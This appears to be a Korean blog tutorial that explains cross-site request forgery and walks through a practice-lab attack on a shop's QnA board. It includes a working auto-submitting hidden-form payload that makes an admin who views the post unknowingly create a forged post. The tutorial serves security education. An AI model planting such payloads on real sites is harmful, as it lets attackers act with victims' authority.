반응형




안녕들 하시죠 !


오늘은 크로스사이트 리퀘스트 변조에 대해 알아보겠습니다.


크로스사이트 리퀘스트 변조 ( CSRF ) 란?


ㆍ 희생자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 웹 사이트에 요청하도록 만드는 공격.

ㆍ 조작된 Request를 웹 어플리케이션에 전송하는 공격.

ㆍ CSRF가 적용되려면 수정/삭제하는 액션에서 사용자를 구분하는 파라미터 값이 존재하지 않아야 함.


크로스사이트 리퀘스트 변조의 원인과 결과


ㆍ 사용자 입력 값에 대한 적절한 필터링 및 인증에 대한 유효성 검증이 미흡하기 때문에 발생.

ㆍ 서버 내의 파일 변경 및 서버 다운 등의 위험 존재.


CSRF와 XSS의 차이


ㆍ CSRF는 인증된 사용자가 정상적인 Request를 보내 서버에서 실행되는 반면.

ㆍ XSS는 공격자가 작성한 악성 스크립트가 이용자( 클라이언트 )에서 실행.


실습절차


- 일반 사용자 계정으로 CSRF 스크립트가 삽입된 관리자 유도 글 작성


ㆍ 관리자가 해당 글을 읽도록 적절한 제목을 통해 유도.

ㆍ 게시글 등록 시 프록시 툴을 사용하여 request 메시지 확인.

ㆍ 관리자가 해당 글을 읽으면 새로운 문의 글이 자동으로 등록되는 내용의 CSRF 스크립트 포함.

ㆍ master 계정으로 로그인 하고 해당 글을 클릭하여 공격이 정상적으로 실행되는지 확인.


자, 이제 실습을 해볼텐데요 각자 본인 환경에 맞춰서 진행하시면 될 것 같습니다.

저는 제 실습환경에서 사용자로 로그인을 해보겠습니다.



로그인 후에 QnA게시판으로 이동하겠습니다.



일반적인 글을 올려보고, 프록시 툴을 이용하여 request 메시지를 확인해보겠습니다.



raw 데이터를 좀더 확대해봤습니다.



위에서부터 확인해보자면,

name="board_id" 는 게시판이름

name="member_seq" 는 회원 고유번호

name="category" 는 질문 유형

name="title" 는 제목

name="contents" 는 문의내용

name="upload_image";filename="" 는 파일선택하여 업로드하는 부분이라는 것을 확인했습니다.


그럼 이제 문의내용에 CSRF 스크립트를 삽입해 보려고 하는데요, 그전에 의미를 알고가겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
<body onload="document.form.submit();"<!-- 페이지 로딩이 끝나면 스크립트를 시작 -->
 
<!-- POST 방식으로 QnA 게시판에 글 등록 -->
<form METHOD="POST" action="http://dev.1shop.com/board/qna/try-add" name="form"
enctype="multipart/form-data">
 
<!-- 숨겨진 입력 필드 정의 -->
<input type=hidden name="board_id" value="qna"<!-- 등록 위치: QnA 게시판 -->
<input type=hidden name="member_seq" value="1"<!-- 작성자 : 회원 고유번호가 1인 값을 가지는 사용자 -->
<input type=hidden name="category" value="기타 문의"<!-- 질문 유형 : 기타 문의 -->
<input type=hidden name="title" value="CSRF 성공"<!-- 제목 : CSRF 성공 -->
<input type=hidden name="contents" value="CSRF 성공 !!!"<!-- 문의 내용 : CSRF 성공 !!! -->
</form>
cs


자, 이제 관리자로 로그인하여 문의글을 클릭해보겠습니다.



문의내용에 아까 작성한 스크립트는 나오지 않네요.

하지만 QnA내용을 보면 아래와같이 성공적으로 CSRF 성공 메시지가 뜹니다.



오늘은 여기까지입니다 감사합니다 !



+ Recent posts